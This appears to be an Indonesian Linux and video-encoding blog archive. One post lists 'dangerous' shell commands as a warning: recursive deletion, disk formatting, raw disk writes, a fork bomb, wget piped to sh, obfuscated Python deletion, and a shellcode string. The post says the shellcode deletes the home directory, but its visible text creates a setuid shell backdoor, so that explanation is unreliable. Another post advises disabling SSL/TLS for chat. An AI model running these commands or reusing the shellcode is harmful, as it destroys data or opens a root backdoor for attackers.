24 August 2012

Membuat Hardsub Movie dengan Avidemux

Hardsub adalah subtitle yang tertanam di dalam movie, tidak dapat disingkirkan karena merupakan satu kesatuan dengan frame movie, kecuali di crop (potong) yang juga akan menghilangkan sebagian wilayah gambar di daerah munculnya subtitle. Namun banyak yang memilih membuat hardsub pada movie dengan berbagai pertimbangan, diantaranya karena player yang dipakai tidak mendukung subtitle eksternal atau diistilahkan dengan softsub (seperti .srt, .ass, .ssa dan sebagainya) juga pertimbangan hak cipta atas subtitle.

Prinsip membuat hardsub adalah mengkode (encoder) sebuah file video dengan menambahkan teks yang nantinya akan menghasilkan satu kesatuan file video itu, bukan sekedar mengikutsertakan sebuah file teks (subtitle) ke dalam file video yang dibungkus dalam satu file kontainer (umumnya .mkv).

Untuk memulainya, kita hanya memerlukan satu software yang gratis dan open source, yaitu Avidemux. Silakan kunjungi halaman resminya di SINI dan download versi mana saja (terbaru mungkin lebih baik), dalam pembahasan ini saya menggunakan Avidemux 2.5.2. Install dan ikuti langkah berikut.

1. Buka aplikasi Avidemux dan akan muncul tampilan tipikalnya seperti gambar di bawah.

[Klik untuk memperbesar gambar]


2. Klik File -> Open atau Ctrl+O dan pilih movie yang akan diencoder.
3. Jika muncul pesan "Built VBR time map?" klik 'Yes' dan biarkan prosesnya sampai selesai.

[Klik untuk memperbesar gambar]
 
4. Kemudian jika muncul pesan "Indeks is not up to date" klik 'Yes' dan biarkan prosesnya sampai selesai.

[Klik untuk memperbesar gambar]
 
5. Movie siap di konfigurasi, anda bisa melihat previewnya dengan menggeser time bar di bawah jendela preview.

[Klik untuk memperbesar gambar]

6. Pada caption 'Video' pilih codec "MPEG-4 AVC (x264)" dan pada caption Audio pilih "AAC (Faac)"

[Klik untuk memperbesar gambar]
 
7. Saatnya menentukan ukuran file outputnya, kita bisa menentukan bit rate untuk mencapai ukuran file yang kita inginkan. Untungnya disediakan tool 'Calculator' untuk menghitung nilai bit rate pada ukuran file yang ditentukan. Klik Tools -> Calculator... atau tekan F7. Akan keluar jendela seperti pada gambar di bawah. Anggap saja kita menginginkan file output berukuran 700 MB, dalam kasus saya dihasilkan bit rate sebesar 772 kbps. Catat nilai bit rate ini, dan akan kita gunakan dalam langkah berikutnya. Tutup jendela Calculator.

 [Klik untuk memperbesar gambar]

8. Kembali ke caption Video, klik Configure, pada tab General pilih Encoding Mode dengan Constant Bit Rate (Single Pass), isikan Target Bit Rate dengan nilai yang dihasilkan Calculator pada langkah 7, lalu klik tombol OK.

[Klik untuk memperbesar gambar]

9. Berikutnya memilih subtitle yang akan diencoder, masih di caption Video, pilih Filters, akan muncul jendela baru dan pada pilihan paling kiri pilih Subtitles, dan bagian tengah pilih tipe subtitle yang anda miliki (sebagai contoh file .SRT) maka pilih Subtitler.

[Klik untuk memperbesar gambar]

10. Akan muncul jendela Subtitler, di sini anda bisa memilih lokasi file subtitle. Jenis font untuk subtitle harus ditentukan, anda bisa memilih font yang anda sukai, asal berjenis True Type Font (.ttf) dan dalam hal ini saya contohkan arial.ttf. Selanjutnya pilih Encoding dengan UTF-8. Pilih warna subtitle sesuai keinginan pada tombol Select Color. Selanjutnya tekan tombol Set Size and Position untuk menentukan ukuran subtitle dan posisinya.

[Klik untuk memperbesar gambar]
 
11. Akan muncul jendela Subtitle Font Size and Position. Anda bebas menentukan ukuran subtitle dan lokasinya, dalam contoh ini saya memakai ukuran 24 dan posisi subtitle di bawah tengah dengan menggeser bar yang ada disamping dan di atas. Tekan OK.

[Klik untuk memperbesar gambar]
 
12. Masih di jendela Set Size and Position, anda bisa melihat previewnya dengan menekan tombol Preview. Tekan OK  dan keluar dari jendela Set Size and Position.

 [Klik untuk memperbesar gambar]

13. Pada jendela utama, tekan File -> Save -> Save Video atau Ctrl+S. Tentukan lokasi outputnya dan save. Encoding memulai progresnya, dan lamanya encoding bergantung pada memory dan kecepatan komputer anda.

 [Klik untuk memperbesar gambar]

Semoga berhasil, jika ada pertanyaan silakan tulis komentar.

13 August 2012

Share Folder pada Ubuntu dan Windows dengan Samba

Berbagi dokumen dalam folder bersama (Shared Folder) mungkin tidak asing lagi bagi Anda, mudah dilakukan jika sistem operasi yang dipakai antar jaringan adalah sama. Namun perlu pengaturan lebih lanjut, jika Anda ingin berbagi data antara sistem operasi yang berbeda, katakan saja antara Linux dengan Windows.

Salah satu cara paling mudah untuk bertukar data antara Linux (dalam contoh ini adalah Ubuntu) dengan Windows adalah menggunakan data server Samba. Ikuti langkah berikut ini.

1. Install samba.
sudo apt-get update
sudo apt-get install samba
2. Konfigurasi file samba:
sudo gedit /etc/samba/smb.conf
Akan terbuka aplikasi gedit berisi konfigurasi samba. Jangan ubah apapun kecuali kita akan menambahkan baris di blok [global], di bawah string "workgroup = WORKGROUP" baris berikut:

force user = dhani 

Keterangan: dhani adalah username ubuntu anda, lihat gambar. Bagian yang saya blok adalah baris yang ditambah.

(klik gambar untuk memperbesar)




3. Restart samba:

sudo restart smbd
sudo restart nmbd

4. Klik kanan folder di ubuntu yang akan dishare, dan klik menu "sharing option", atur sesuai keinginan. Lihat gambar.

(klik gambar untuk perbesar)

5. Selesai. Untuk melihat apakah berhasil atau tidak, buka sharing folder di Windows dan lihat apakah folder yang Anda sharing telah muncul.

10 August 2012

Mengaktifkan RGBA Transparansi di Ubuntu (Karmic, Lucid, Mavercik)

Pendahuluan
Transparansi RGBA rencananya akan dirilis bersama Ubuntu 10.04 LTS (Lucid Lynx), namun akhirnya dibatalkan mengingat beberapa aplikasi dapat menyebabkan ubuntu menjadi macet (crash). Transparansi RGBA akhirnya dirilis pada ubuntu 10.10 (Maverick Meerkat). Namun bagi Anda yang kebetulan tidak bisa atau tidak suka dengan tampilan Ubuntu 10.10 (seperti saya), Anda tetap bisa mengaktifkan RGBA melalui PPA.

Pertanyaannya, Compiz juga menyediakan pilihan transparansi, kenapa kita harus menggunakan RGBA? Nah, karena kekurangan compiz yang membuat semua jendela menjadi transparan, sehingga malah menyulitkan pembacaan tulisan. Bahkan halaman website juga menjadi transparan dengan latar belakang. Di sini letak keunggulan RGBA; tidak membuat semuanya transparan, hanya pada bagian-bagian jendela tertentu saja yang transparan, sehingga bisa meningkatkan keindahan desktop bagi Anda yang suka bermain desktop yang eye candy.

Anda bisa menginstall dukungan RGBA dari PPA sejak dari Ubuntu Karmic. Untuk Ubuntu sebelum Karmic banyak ditemukan berbagai masalah. Saya pernah menguji RGBA terbaru dari PPA, dan saya tidak melihat adanya crash apapun (catatan: dengan paket default dari PPA, tidak ada pengaturan (tweak) tambahan, diuji pada kartu grafik Nvidia. Namun pada kartu grafik lain, masalah muncul pada aplikasi Totem, Firefox dan sebagainya, aplikasi tersebut crash ketika RGBA diaktifkan, dan RGBA tidak bisa aktif untuk aplikasi tersebut.  Ini berarti dukungan RGBA sekarang lebih stabil, atau aplikasinya telah dikemas dengan lebih baik. Namun saya peringatkan, sebelum menambahkan PPA, mungkin masih ada bug sehingga di dalam penggunaannya nanti resiko menjadi tanggungan Anda sendiri! Saya akan menyertakan  cara menghapusnya untuk berjaga-jaga.


Masalah yang Umum.

Saya menemukan hal yang agak mengganggu, panel sebagian transparant untuk beberapa aplet, namun dengan pemilihan theme panel yang tepat, hal ini bisa dihindari.

Hanya aplikasi GTK+ yang mendukung transparansi RGBA. Itu artinya Firefox, Thunderbird, Songbird, OpenOffice, atau Chrome tidak akan memiliki transparansi apapun. Hal sama berlaku juga untuk GlobalMenu, Skype atau Google Earth yang menggunakan Qt. Inkscape, Gnome Shell dan Totem telah masuk daftar hitam karena bug mereka, sehingga mereka tidak akan mendukung RGBA. Bukan berarti RGBA tidak akan bekerja secara keseluruhan, namun hanya aplikasi yang disebut di atas tidak akan transparan.

Persiapan dan Penginstalan RGBA

Sebelum menginstall RGBA, pastikan bahwa kartu grafik komputer anda mendukung. Atur Compiz Effect minimal ke mode normal. Untuk melakukannya, klik kanan pada desktop, pilih 'Change desktop background' dan pada 'Visual Effects' tab, pilih 'Normal' atau 'Extra'.

Selanjutnya ikuti perintah di bawah ini, dan ingat bahwa semua perintah dijalankan di Terminal.

1. Tambahkan PPA:

sudo add-apt-repository ppa:erik-b-andersen/rgba-gtk

2. Upgrade:

sudo apt-get update && sudo apt-get upgrade

Anda perlu melakukan kedua perintah di atas untuk  upgrade theme Murrine dan memperbaiki bug yang ada pada Nautilus agar mendukung RGBA.

3. Install Paket yang Diperlukan

sudo apt-get install gnome-color-chooser gtk2-module-rgba

4. Install Tema Murrine

Sebagai pilihan Anda bisa menginstall tema Murrine, perhatikan bahwa RGBA akan bekerja pada tema Murrine dan turunannya (termasuk Ambiance), namun jika Anda sudah menyediakan tema berbasis Murrine, langkah ini bisa Anda lewati. 

sudo apt-get install murrine-themes

5. Gunakan Gnome Color Chooser untuk mengaktifkan RGBA

Klik System > Preferences > Gnome Color Chooser, pada tab 'Engines' centang 'Global' lalu pilih 'Murrine' dari menu. Lihat gambar berikut:


Lalu klik tombol 'Preferences' di sebelahnya lalu gulung ke bawah dan pilih 'Configuration of Enable/Disable RGBA support', centang kedua kotak pilihan 'Enable/Disable RGBA support', lihat gambar.


Lalu klik 'OK' klik 'Apply' dan 'Close'.

6. Gunakan Tema Murrine

Jika Anda menggunakan tema Ambiance atau Radiance, Anda bisa melewakan langkah ini. Namun begitu, Anda bisa menggunakan tema yang Anda sukai asal berbasis Murrine. Klik kanan di Desktop, pilih 'Change Desktop background', kemudian pada tab 'Themes' pilih 'Customize'. Terakhir pada tab 'Controls' pilih salah satu tema berbasis Murrine. Lihat gambar.


7. Restart Komputer Anda

Untuk saat ini, penginstalan dan pengaturan RGBA telah selesai, Anda bisa menikmati desktop dengan tampilan transparant. Namun begitu Anda bisa lebih mempercantik tampilan desktop, dengan membuat transparan dengan nuansa blur (kabur).

Gaussian Blur Compiz

Rasanya tidak lengkap jika transparansi tidak diiringi dengan blur, untuk itu Anda bisa menambahkan gaussian blur bersama-sama dengan RGBA. Untuk itu install program pendukungnya:


sudo apt-get install compiz-fusion-plugins-extra compizconfig-settings-manager
Lalu klik System > Preferences > CompizConfig Settings Manager dan pada menu filter di kiri pilih 'Blur'. Lalu centak kotak di sebelahnya 'Blur Windows' lalu klik di situ (di Blur Windows). Selanjutnya pilih 'Gaussian' dan pilih 'Gaussian Radius' ke angka '5'. Tentu saja Anda bebas menentukan nilai gaussian radiusnya.
Berikut ini screenshot ukuran penuh dari desktop saya.


  


Uninstall RGBA

Dalam suatu kasus RGBA ternyata membuat aplikasi tidak stabil, Anda bisa membuangnya, lakukan saja cara ini:

1. Klik System > Preferences > Gnome Color Chooser dan di tab 'Engines' hilangkan centang di pilihan 'Global'.

2. Download aplikasi  untuk menghapus PPA.
https://launchpad.net/%7Exorg-edgers/+archive/ppa/+files/ppa-purge_0.2.6%7Ekarmic_all.deb

3. Lalu gunakan perintah berikut untuk menghapus PPA RGBA:
sudo ppa-purge ppa:erik-b-andersen/rgba-gtk

4. Kini RGBA telah terhapus total dari komputer Anda.


Sumber: Disadur dengan perubahan dari situs berikut:
http://www.webupd8.org/2010/05/enable-rgba-transparency-in-ubuntu-910.html
http://www.webupd8.org/2009/12/remove-ppa-repositories-via-command.html

Trik menyembunyikan mounting hardisk di Nautilus (Sistem Gnome)

Ada kalanya kita memasang lebih dari satu hardisk di dalam sistem linux. Mounting otomatis sudah cukup menyelesaikan masalah tanpa ada kendala. Namun terkadang kita tak ingin sebuah hardisk yang kita pasang muncul di Side Pane Nautilus. Kita ingin menyembunyikannya, bisa? Jawabnya bisa.

Sebuah mounting masuk ke Side Pane Nautilus karena ia termounting otomatis oleh sistem ke lokasi /media, segala sesuatu yang termouting ke /media pasti akan ditampilkan di Side Pane Nautilus. Nah lokasi ini yang harus kita ubah agar ia tidak muncul.

Memang dengan memakai sistem mounting otomatis yang pernah saya tulis sebelumnya juga akan berhasil, namun saya baru menemukan masalah ketika saya memasang lebih dari dua hardisk, antara hardisk satu dengan lainnya lokasi partisi sering tertukar saat booting, misalnya dari /dev/sda1 menjadi /dev/sdb1 dan seterusnya. Ini menyulitkan, dan sistem akan menampilkan pesan error mounting sewaktu boot.

Untuk menghindarinya, saya mencari di situs dan menemukan cara praktis, yaitu dengan memakai tanda unik sebuah hardisk yang disebut UUID, namun cara yang saya jelaskan di sini lebih kurang sama.

Berikut langkahnya, perhatikan bahwa semua perintah ini dijalankan di terminal.

1. Langkah paling awal adalah mengetahui lokasi partisi hardisk, gunakan perintah:

sudo fdisk -l

di dalam sistem komputer saya kebetulan saya pasang 4 buah hardisk, sehingga muncul berikut ini:

Device      Boot    Start         End       Blocks  Id  System
/dev/sda1   *           1        9728    78140128+   7  HPFS/NTFS
/dev/sdb1   *           1       30401   244196001    7  HPFS/NTFS
/dev/sdc1   *           1       18706   150250496   83  Linux
/dev/sdd1   *           1        9728    78140128+   7  HPFS/NTFS

2. Langkah kedua, cari nilai UUID-nya.
Katakan saya ingin menyembunyikan hardisk /dev/sdb1 dan /dev/sdd1, maka untuk mendapatkan UUID masing-masing hardisk tersebut gunakan perintah:

sudo blkid /dev/sdb1
sudo blkid /dev/sdd1

perintah tersebut menghasilkan:

/dev/sdb1: LABEL="250GB-DATA" UUID="5C40361F4035FFF6" TYPE="ntfs"
/dev/sdd1: LABEL="SYSTEM" UUID="5464C16A64C15002" TYPE="ntfs"

perhatikan, nilai UUID-nya:
sdb1 = 5C40361F4035FFF6
sdd1 = 5464C16A64C15002

3. Langkah ketiga, buat lokasi tempat hardisk akan di mounting, selain di /media.
Sebagai contoh, saya membuat lokasi baru di folder root (/), sdb1 saya rencanakan ditempatkan di /hdc dan sdd1 saya rencanakan ditempatkan di /hdd. Kedua folder tersebut belum ada, sehingga harus dibuat dulu dengan perintah:

sudo mkdir /hdc dan
sudo mkdir /hdd

4. Langkah keempat, edit fstab,
Gunakan perintah berikut untuk membuka fstab:

sudo gedit /etc/fstab

akan terbuka jendela gedit teks editor, jangan ubah apapun isi di dalamnya, kecuali kita akan menambahkan beberapa baris di bawahnya. Sebagai contoh saya mengisikan instruksi mounting sdb1 ke folder /hdc dan sdd1 ke folder /hdd, saya menambah di baris paling akhir sebagai berikut:

UUID=5C40361F4035FFF6   /hdc    ntfs    defaults
UUID=5464C16A64C15002   /hdd    ntfs    defaults


perhatikan, bahwa perintah ini saya sesuaikan dengan nilai UUID yang saya dapat di atas.

5. Simpan dan reboot, kini anda bisa melihat bahwa hardisk anda sudah termounting di /hdd dan /hdc dan tak akan muncul di Side Pane Nautilus.

Chat Facebook di Pidgin tanpa plugin

Bagi pengguna linux, pasti tak asing lagi dengan pidgin, platform untuk chat yang sekarang di ubuntu diganti dengan Empathy. Pengguna Windows dan MacOs mungkin ada juga yang menggunakan pidgin ini.

Bagi yang masih setia dengan pidgin, ada satu kendala yang mungkin agak mengganggu, tidak tersedianya chat untuk facebook. Hal ini mudah diatasi mengingat sekarang sudah banyak plugin facebook chat untuk pidgin. Saya sendiri sudah mencobanya, namun entah kenapa pidgin jadi freeze (berhenti bekerja) saat login berhasil.

Cari-cari di internet akhirnya saya menemukan cara yang lebih mudah dan praktis, ikuti saja langkah berikut ini.

1. Pastikan anda punya akun facebook dengan username yang sudah terdaftar sebagai halaman facebook anda, misalnya halaman facebook saya http://facebook.com/xtalplanet, username yang dimaksud adalah xtalplanet. Jika anda belum punya username facebook, bisa didaftarkan di http://facebook.com/username

2. Buka pidgin, pilih Accounts -> Manage Accounts klik tombol Add

3. Pada bagian Protocol, pilih XMPP. Username isi dengan username facebook anda, Domain isi dengan chat.facebook.com, isi password facebook anda dan centang Remember Password.


[Klik untuk memperbesar]

4. Selanjutnya pada tab Advanced, kosongkan centang pada Require SSL/TLS. Lalu klik Add


[Klik untuk memperbesar]


5. Jika berhasil maka account akan terdaftar seperti gambar di bawah ini.

[Klik untuk memperbesar]

Dan hasilnya bisa dilihat seperti di bawah ini.

[Klik untuk memperbesar]


Jika ada pertanyaan, jangan sungkan2 ditanyakan.

8 Perintah Linux yang Berbahaya di Shell

Saya menerima begitu banyak pertanyaan mengenai perintah-perintah berbahaya yang bisa dijalankan melalui shell, yaitu perintah yang menyebabkan kerusakan besar atau gangguan pada komputer pengguna.

Berikut adalah beberapa contoh umum perintah-perintah berbahaya yang harus diingat sepanjang waktu. Sekali lagi, perintah ini sangat berbahaya dan jangan pernah mencobanya pada komputer yang memiliki data-data penting.

Sekali lagi, PERINTAH BERBAHAYA - BOLEH DILIHAT TAPI JANGAN DIJALANKAN.

Daftar di bawah ini jauh dari lengkap, tapi paling tidak ada sedikit petunjuk agar anda tidak melakukannya dengan sengaja atau tidak. Ingatlah bahwa perintah ini bisa disamarkan dalam bentuk yang 'lebih aman' menurut pandangan anda,  sehingga anda sendiri merasa cukup aman untuk menjalankan perintah mematikan ini.

1. Bahaya: Hapus semua file.Hapus semua file, hapus direktori aktif, dan hapus semua file terlihat di direktori aktif. Sudah jelas mengapa perintah ini  berbahaya untuk dieksekusi.

rm -rf /
rm -rf .
rm -rf *

Satu-satunya masalah adalah, kaitan ke direktori sebelumnya akan sesuai dengan direktori di atasnya dan pada gilirannya akan menghapus semua tingkat direktori. Sebuah alternatif perintah yang sesuai dengan kondisi di atas adalah:

rm -r .[^.]*

yang akan mengecualikan entri "..". dan hanya ini yang tersisa dalam harddisk anda.


2. Bahaya: Format ulang.

Data pada perangkat yang disebutkan setelah perintah mkfs akan dihancurkan dan diganti dengan filesystem kosong.

mkfs
mkfs.ext3
mkfs.apa_saja

3. Bahaya: Manipulasi blok.

Manipulasi blok perangkat dilakukan dengan menuliskan data mentah ke dalam blok perangkat. Sering kali data ini menimpa data filesystem dan menyebabkan kehilangan total data.

perintah_apapun > / dev / sda
dd if=suatu_perintah of=/dev/sda

4. Bahaya: Forkbom.Memaksa melakukan sejumlah besar proses sampai sistem membeku, memaksa anda untuk melakukan hard reset yang bisa menyebabkan data korup, kerusakan data, atau nasib buruk lainnya.

:(){:|:&};:

untuk perl:

fork while fork

5. Bahaya: Tarbom

Seseorang meminta anda untuk mengekstrak arsip *.tar ke direktori yang sudah ada dan banyak mengandung data. Arsip *.tar ini dapat dibuat untuk menghasilkan jutaan file, atau menyuntikkan file ke dalam sistem dengan menebak nama file. Untuk mencegahnya, anda harus terbiasa mendekompresi (ekstrak) arsip apapun di dalam direktori baru yang harus anda buat.

Sejenis dengan ini, anda yakin ingin mengekstrak sebuah arsip yang tampaknya berukuran kecil. Pada kenyataannya itu adalah sejumlah data yang sangat besar hingga berukuran ratusan Giga Byte, dan data sia-sia itu mengisi hard-disk anda. Anda sebaiknya tidak menyentuh data dari sumber yang tidak dipercaya.

6. Bahaya: Shellscript.

Seseorang memberikan Anda sebuah link shellscript untuk di eksekusi. Padahal script itu bisa saja berisi perintah yang berbahaya dan jahat. Jangan menjalankan kode dari sumber yang tidak bisa dipercaya.

wget http://suatu_situs/suatu_file
sh ./suatu_file.

wget http://suatu_situs/suatu_file -O- | sh

7. Kompilasi kode.

Seseorang memberikan Anda suatu kode sumber kemudian memberitahu Anda untuk mengkompilasinya. Sangat mudah untuk menyembunyikan dan menyisipkan kode berbahaya dalam sebagian besar beris-baris kode sumber. Kode sumber ini merupakan media yang baik untuk menebarkan perintah berbahaya tanpa takut ketahuan.
Jangan mengkompilasi atau menjalankan kode sumber kecuali dari sumber yang dikenal luas, atau diperoleh dari situs terkemuka (yaitu SourceForge, homepage penulis, alamat-alamat resmi Linux).

8. Perintah berbahaya dalam bentuk aman

Sebuah contoh yang sederhana adalah seseorang menuliskan ini dan menginginkan anda memasukkannya dalam shell.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Bagi pengguna komputer awam atau bahkan pengguna yang sedikit berpengalaman, barisan karakter di atas terlihat seperti "kode heksa tanpa arti" yang biasanya aman. Namun, ini sebenarnya menjalankan rm-rf ~ / & yang akan menghancurkan direktori home Anda sebagai user biasa, atau semua file sebagai root. Ini adalah perintah rm-rf ~ / & dalam bentuk heksa. Jadi hati-hati sekali dengan hal-hal yang anda anggap aman ternyata bentuk lain dari sebuah perintah berbahaya.


Sekali lagi, dalam python anda dihadapkan pada kode yang mempunyai bentuk aman seperti ini:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Dimana "sn!.sg!+" adalah bentuk sederhana dari rm-rf * yang menggeser karakter ke atas. Tentu saja ini contoh yang konyol, saya tidak mengharapkan ada seseorang yang cukup bodoh untuk meng-copy-paste baris perintah mengerikan ini ke dalam terminal dan menjalankannya tanpa mencurigai ada sesuatu yang fatal.

Theme Ubuntu Terbaik (my version)

Kemarin saya coba-coba cari theme ubuntu yang sesuai untuk saya yang memenuhi kriteria berikut:
- Original
- Tampilan tidak menyerupai sistem operasi yang sudah populer sekarang
- Tampak elegan namun sederhana

Setelah cari mencari di google, ketemu theme yang memenuhi kriteria di atas, yaitu Nimbus theme. Sekedar info, Nimbus theme ini merupakan theme default dari SunSolaris yang juga memakai GTK2, sehingga sesuai juga digunakan untuk ubuntu yang memakai GTK2.

Berikut hal-hal yang perlu dilakukan:

1. Tambahkan repositori melalui terminal:

sudo add-apt-repository ppa:merlwiz79/nimbus

jangan lupa udpdate repositori setelahnya:

sudo apt-get update

2. Install theme, engine dan icon Nimbuz:

sudo apt-get install gtk2-engines-nimbus nimbus-icon-theme

3. Selesai, buka 'Appereance Prefences', pilih theme dan icon Nimbus.

Berikut screenshot theme Nimbus di laptop saya:

(Klik gambar untuk memperbesar)

Masalah Sound (Suara) pada SND-INTEL Soundcard di Kubuntu

Pengalaman saya menggunakan kubuntu 10.04 pada laptop Compaq CQ35 113-TU adalah suara yang tidak sempurna, padahal alsa driver sudah terinstall dengan baik, ditandai berjalannya program alsamixer pada konsole (terminal).

Suara masih tetap muncul jika memutar lagu atau film, tapi tidak sempurna, yaitu seperti bergema (berulang-ulang) dan patah-patah.

Hasil pencarian ternyata sangat gampang, pengaturan ada pada file alsa-base.conf.
Gunakan kate sebagai editor untuk mengeditnya dengan perintah pada konsole:

sudo kate /etc/modprobe.d/alsa-base.conf

pada editor yang terbuka, tambahkan satu baris berikut di akhi:

options snd-hda-intel enable_msi=1


Simpan, tutup dan restart. Well done! Suara normal kembali.

Ripping / Copy VCD di Linux Ubuntu

VCD adalah salah satu bentuk format keping video selain DVD dan Blue Ray. Sebagian besar distro linux tidak mengizinkan copy file ekstensi DAT di VCD secara langsung. Untuk mengkopi file DAT tersebut digunakan beberapa cara, mulai dari membuat image VCD yang bersangkutan dengan K3B atau Brasero sampai meng-encoder-nya menjadi format yang berbeda (ripping). Kali ini kita mencoba meripping VCD menjadi bentuk format AVI. Dari hasil pengalaman, cara ini tidak pernah gagal dan selalu sukses merubah isi VCD menjadi file AVI setara kualitas asalnya.

Langsung saja, dari terminal kita ketik perintah

mencoder vcd://1 -o file.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=2000

Nomor pada "vcd://1" adalah nomor track pada VCD yang ingin kita rippping, kita asumsikan track ada di urutan pertama. Namun jika track ada di nomor 5 misalnya, ubah nomor menjadi nomor 5.

File dengan nama "file.avi" akan disimpan di folder /home.
Jika perintah tersebut tidak dikenali, artinya linux anda belum terinstal mencoder, untuk itu install dahulu codec MPLAYER dengan perintah (di linux ubuntu):

sudo apt-get install mplayer

Untuk pertanyaan boleh tinggalkan komentar di bawah.

W: GPG error: dan pemecahannya di linux Ubuntu

Ada saatnya kita menambahkan source repository paket-paket dari sumber luar, salah satunya dengan cara menambahkan source di /etc/apt/sources.list. Namun biasanya untuk source yang belum diverifikasi oleh synaptic akan muncul pesan eror.

Sebagai contoh kasus, saya  mengupdate source.list melalui terminal, lalu muncul warning berikut:

W: GPG error: http://qgis.org lucid Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY EBB1B7ED997D3880

Lalu bagaimana penyelesaiannya? Setelah googling, ketemu cara yang paling mudah. Di terminal ketik perintah ini:

sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com [pubkey]

[pubkey] adalah pesan error yang muncul di paling akhir yang saya tandai dengan warna merah. Pesan bisa saja berlainan sesuai paket yang ingin anda verifikasi, sehingga perintah menjadi:

sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com EBB1B7ED997D3880

Jika tidak ada eror yang muncul dan key berhasil diimport, maka proses verifikasi berhasil.
Semoga sukses.

Ripping DVD ke MKV dengan Avidemux

Sebelumnya telah saya bahas masalah ripping DVD dengan mengunakan AcidRip, kali ini kita coba program powerfull Avidemux yang bisa meripping DVD ke format AVI, MPG, MP4, MKV dan banyak lagi. Untuk bahasan ini kita misalkan ingin meripping DVD dengan format MP4 dengan dekoder x264, kenapa? Untuk hasil yang memuaskan dengan file yang kecil, kita bisa menggunakan format tersebut. Sebagai contoh dengan format DVD standard dan durasi film 1:30 jam akan menghasilkan file MP4 sebesar lebih kurang 300 MB, sangat kecil untuk ukuran film penuh. Kemudian kita bisa menggunakan kontainer MKV untuk menjadikannya format MKV, dan ini yang biasa penggemar film lakukan untuk mendristribusikan film-film lewat internet selain berformat AVI yang telah dibahas dalam bahasan sebelumnya.

Kamu bisa mendownload aplikasi Avidemux di situs resminya http://fixounet.free.fr/avidemux/download.html, tersedia untuk versi Windows, Linux dan Mac. Pilih sesuai sistem operasi Kamu. Dalam contoh kali ini saya menggunakan Avidemux versi 2.4.4 untuk Linux yang berjalan di Ubuntu 9.04 saya. Langsung saja kita bahas tutorialnya.


1. Install program dan buka, tampilan Avidemux tipikalnya seperti di bawah ini.













2. Masukkan DVD yang akan Kamu ripping, Kamu boleh meng-copy seluruh folder Video_TS di DVD ke dalam hardisk atau Kamu bisa memilih langsung ripping dari DVD tanpa dicopy terlebih dahulu, yang pilihan terakhir ini proses akan lebih lambat daripada jika Kamu meripping dari hardisk.

3. Klik tombol 'Open' yang ada di pojok kiri atas, akan terbuka jendela browse file, arahkan ke folder Video_TS pada DVD Kamu atau hardisk Kamu. Kamu harus memilih mana file utama film tersebut, karena kita hanya meripping bagian utama filmnya saja. Mudah dilakukan, karena kita tinggal melihat besarnya file saja, biasanya besarnya sekitar 1024 MB, dengan nama VTS_0x_y.VOB, dengan x dan y nomor dan jumlah filenya. Pilih file utama yang pertama, dalam contoh kali ini kebetulan file utama yang pertama bernama VTS_01_1.VOB (bisa berbeda tergantung DVD), jangan kuatir dengan file-file berikutnya karena Avidemux akan mendeteksinya secara otomatis.

Setelah kita pilih, akan keluar jendela avidemux akan mengindeks video utama serta mendeteksi file utama yang berikutnya sebagai satu kesatuan file keseluruhan. Lihat gambar. Tekan saja 'Yes' untuk kedua kasus di atas. Kemudian akan muncul jendela Avidemux mulai mengindeks file.














































4. Setelah selesai, kita mengatur Video. Klik tombol bertuliskan 'Copy' dibawah tulisan 'Video', dan pilih codec 'MPEG-4 AVC (x264)', jika Kamu mau mengaturnya lebih lanjut Kamu bisa mengklik tombol 'configure'. Tapi secara default rasanya tidak usah mengconfigure lebih lanjut.













5. Selesai itu kita mengatur Audio, klik tombol 'Copy' dibawah tulisan 'Audio' dan pilih sesuai pilihan Kamu, MP3(Lame) boleh menjadi pilihan, namun MP3(Lame) tidak mendukung file audio yang besar (khususnya dolby surround) jadi Kamu boleh memilih AAC(FAAC) jika ada error muncul saat memilih MP3(Lame).
 












6. Dan terakhir, pilih format. Sesuai bahasan kita, kita akan memilih format 'MKV'













7. Klik tombol 'Save' sebelah tombol open di pojok kiri atas, akan terbuka jendela baru tempat memilih file hasil akan diletakkan dimana. Beri nama dan jangan lupa akhirannya dengan ekstensi .mkv.













8. Tekan 'Save' dan Avidemux akan mulai meng-encoding DVD hingga selesai dalam waktu sekitar 120 menit tergantung panjang filmnya.














*note: bahan rujukan lain berbahasa Inggris bisa dibaca di sini:
http://concen.org/forum/thread-38444.html

Windows 7 Theme Ubuntu dengan satu langkah

Tulisan ini mirip dengan tulisan saya sebelumnya tentang menjadikan linux menjadi tampilan seperti windows XP dalam satu langkah.

Berbekal tantangan teman yang mengklaim kalau windows 7 miliknya lebih bagus tampilannya daripada ubuntu di desktop saya, karena ingin membuktikan kalau ubuntu lebih "customable" daripada winows dan juga bisa dibuat mirip dengan windows, saya lantas mencari ke situs langganan saya di www.gnome-look.org, begitu banyak theme yang ditawarkan, tapi saya lebih tertarik dengan yang INI, karena:

1. Hanya butuh satu file untuk semua theme (mulai icon, desklet, theme sampai emerald)
2. Punya file instalasi dan uninstalasi nya
3. Mudah digunakan tanpa harus mengoprek, hanya dengan satu klik maka semua terinstall secara otomatis.

Namun demikian, persyaratan utama supaya instalasi berjalan sempurna:

1. Koneksi internet (mutlak), karena nantinya ada pendukung yang mesti diinstall (otomatis)
2. Setingan "Visual Effects" pada "Extra", minimal "Normal"
3. Compiz Confiz Setting Manager terinstall dengan efek blur diaktifkan (Sudah saya bahas pada tulisan sebelumnya)

Tinggal download filenya di SINI, lalu ekstrak dan klik Install.sh, jika ditanya "Run via terminal", maka ikuti petunjuk yang keluar, maka ubuntu akan menjadi Windows 7.

